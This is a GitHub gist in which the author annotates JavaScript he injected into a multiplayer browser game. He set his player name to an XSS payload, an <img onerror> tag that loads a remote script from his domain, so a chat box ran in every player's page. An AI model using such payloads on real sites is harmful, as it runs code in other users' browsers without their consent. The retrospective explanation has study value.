-
-
Save Macil/966f0c62010946fc94e8d88279412aab to your computer and use it in GitHub Desktop.
chatbox-adding xss fun from https://twitter.com/macil_tech/status/1454234094888370177
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
//% https://twitter.com/macil_tech/status/1454234094888370177 | |
//% This was the code I wrote for that. | |
//% All comments starting with //% are edits I've made now to explain the original code. | |
//% The code is pretty specific to the situation was used on, so don't expect to find code | |
//% that's directly useful for other tasks here. You probably wouldn't want to actually | |
//% implement game chat in a game in the way it's done here, etc. | |
//% So this file was saved as "x.js" on and available on the domain I had back then. | |
//% I would inject the code by joining the game with my name set to this: | |
//% Macil<img src onerror="$.getScript('//example.com/x.js?1')"> | |
//% The game's code used jQuery's `.html()` method (or maybe it was `append()`) to | |
//% set the player's name on the scoreboard, so it was vulnerable to XSS. Because this was | |
//% a DOM-based XSS instead of a server-side XSS, the attack couldn't use a simple <script> | |
//% tag to inject the code. Instead I put an <img> tag with an invalid src property, and an | |
//% error handler that caused the game to remote-load this code from my site. | |
//% The error handler would be called every time my name was rendered onto the scoreboard, | |
//% so the first thing my code does is redefine jQuery's `$.getScript` function to not reload | |
//% scripts that it has previously loaded. This stops my exploit from needlessly being | |
//% re-downloaded and re-running multiple times in one session. | |
//% Though through the course of using and developing the exploit, sometimes I wanted to push | |
//% a new version to players. So I wrote my exploit code to detect if HTML elements added by a | |
//% previous version of the exploit were present and to remove or update them as necessary. | |
//% In order to cause the new version of my code to actually run for users despite the `$.getScript` | |
//% patch, I would increment the "?1" in my name, so the new version of the file would be | |
//% considered a brand new URL and be allowed by the patched `$.getScript`. | |
'use strict'; | |
//% Immediately-invoked function expression so our local variables here aren't top-level declarations | |
//% that pollute the global scope. | |
(function() { | |
$.getScript = function( url ) { | |
window._fetched = window._fetched || {}; | |
if (window._fetched[url]) return; | |
window._fetched[url] = true; | |
const options = { | |
dataType: "script", | |
cache: true, | |
url | |
}; | |
return jQuery.ajax( options ); | |
}; | |
//% While I was using my hack, someone else in the game also discovered the | |
//% vulnerability and tested it with an alert box, which was very disruptive | |
//% to the game. So I used my hack to counter their hack and disable alert boxes. | |
window.alert = x => console.log('alert', x); | |
//% I think the last change I made to this script was to add the above counter-hack, | |
//% so if a player had already loaded the previous version of my script and had | |
//% the "chat" element added already, there was no reason for this code to continue | |
//% any further. | |
if (document.getElementById('chat')) return; | |
//% Remove any elements added by a previous version of this script so we can start | |
//% our modifications from scratch. ... It was really annoying to remember what the | |
//% previous versions of my script had done and write my code in a way to gracefully | |
//% handle the situation where a player had previously executed multiple previous | |
//% versions of my script. | |
['fun2', 'fun4', 'hackplanet'] | |
.map(x => document.getElementById(x)) | |
.filter(Boolean) | |
.forEach(x => x.remove()); | |
//% I disabled the background music pretty quickly because I didn't want it to get annoying. | |
// const audio = document.createElement('audio'); | |
// audio.id = 'fun4'; | |
// audio.loop = true; | |
// audio.src = 'https://example.com/bg.ogg'; | |
// document.body.appendChild(audio); | |
// audio.play(); | |
//% Creates the main chat box and sets up its styling. | |
const el = document.createElement('div'); | |
el.id = 'chat'; | |
el.textContent = 'Hack The Planet Chat System'; | |
el.style.position = 'fixed'; | |
el.style.bottom = '0'; | |
el.style.left = '0'; | |
el.style.padding = '4px'; | |
el.style.font = 'black 16px sans-serif'; | |
el.style.border = '0 solid black'; | |
el.style.borderRightWidth = '2px'; | |
el.style.borderTopWidth = '2px'; | |
el.style.borderRadius = '0'; | |
el.style.width = '250px'; | |
el.style.maxWidth = '30vw'; | |
el.style.background = 'white'; | |
el.style.margin = '0'; | |
el.style.opacity = '0.65'; | |
const messages = document.createElement('div'); | |
messages.id = 'messages'; | |
messages.style.maxHeight = '25vh'; | |
messages.style.overflowY = 'scroll'; | |
el.appendChild(messages); | |
const input = document.createElement('input'); | |
input.type = 'text'; | |
input.style.width = '90%'; | |
input.maxLength = 100; | |
input.placeholder = 'Chat here...'; | |
$(input).on("keypress", function(e){ | |
if(e.which == 13){ | |
e.preventDefault(); | |
const message = input.value.slice(0, 100); | |
if (message.length) { | |
input.value = ''; | |
//% So the secret of how the chat system worked: I realized that every client could | |
//% fully control their own player object that got synced to other players, so I | |
//% took advantage of that and smuggled chat messages into the player object with brand | |
//% new "chat_message" and "chat_ts" (timestamp) properties. | |
socket.emit('update_data', {chat_message: message, chat_ts: Date.now()}); | |
} | |
} | |
}); | |
el.appendChild(input); | |
//% Actually add the new chatbox to the page | |
document.body.appendChild(el); | |
//% This function is called to show a new message in the chatbox | |
function newM(name, text) { | |
const isAtBottom = messages.scrollTop + messages.offsetHeight + 10 > messages.scrollHeight; | |
const m = document.createElement('div'); | |
const r = document.createElement('span'); | |
r.textContent = (name || '') + ': '; | |
r.style.color = 'red'; | |
m.appendChild(r); | |
const c = document.createElement('span'); | |
c.textContent = text; | |
m.appendChild(c); | |
messages.appendChild(m); | |
if (isAtBottom) { | |
//% Adjust the chatbox to scroll down to see the new message if it was already | |
//% scrolled to the bottom. | |
messages.scrollTop = messages.scrollHeight; | |
} | |
} | |
if (typeof socket !== 'undefined') { | |
let lastTs = 0; | |
//# This function gets called every time we receive an update to any of the player objects. | |
//# We check to see if they have a chat_ts timestamp greater than the last chat timestamp | |
//# we've seen, and if so we render their chat_message into the chatbox by calling newM() | |
//# with its value. | |
//# In retrospect this code was a bit fragile: clock skew or a player putting their chat_ts | |
//# value pointing to the future could cause us to miss chat messages from other players. | |
//# A better pattern would have been to maintain a separate monotonic counter for every player | |
//# and consider their chat_message value to be a new message only when their new counter | |
//# was greater than the old value associated with that player. | |
window._chatHandler = data => { | |
let newTs = lastTs; | |
const newMs = []; | |
for (let pid of Object.keys(data.player_list || {})) { | |
const pdata = data.player_list[pid]; | |
if ( | |
pdata && | |
typeof pdata.chat_ts === 'number' && | |
typeof pdata.chat_message === 'string' && | |
pdata.chat_ts > lastTs && | |
pdata.chat_ts < Date.now() + 10*1000 | |
) { | |
newTs = Math.max(newTs, pdata.chat_ts); | |
newMs.push({ | |
ts: pdata.chat_ts, | |
//# Make my name pretty in the chatbox by hiding the XSS attack from it | |
username: (pdata.username || '').replace(/<img .*/, '').slice(0, 40), | |
text: pdata.chat_message.slice(0, 100) | |
}); | |
} | |
} | |
newMs.sort((a,b) => a.ts-b.ts); | |
newMs.forEach(m => { | |
newM(m.username, m.text); | |
}); | |
lastTs = newTs; | |
}; | |
//# I can't really remember why this indirection exists, it looks pretty extra. | |
//# I think it must have been a work-around to patch the environment if the player | |
//# had previously executed a previous version of my code which used this function. | |
window._chatHandlerCaller = function() { | |
return window._chatHandler.apply(this, arguments); | |
}; | |
socket.on('update_data', window._chatHandlerCaller); | |
} else { | |
//% I'm not sure why I had got a branch here handling the case where there's no socket object. | |
//% I think I was testing my code against a saved copy of the game's html that had none of the | |
//% game's own javascript, and this branch would show some test messages there. | |
newM('x', 'Testing 123'); | |
newM(null, 'test foo'); | |
} | |
})(); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment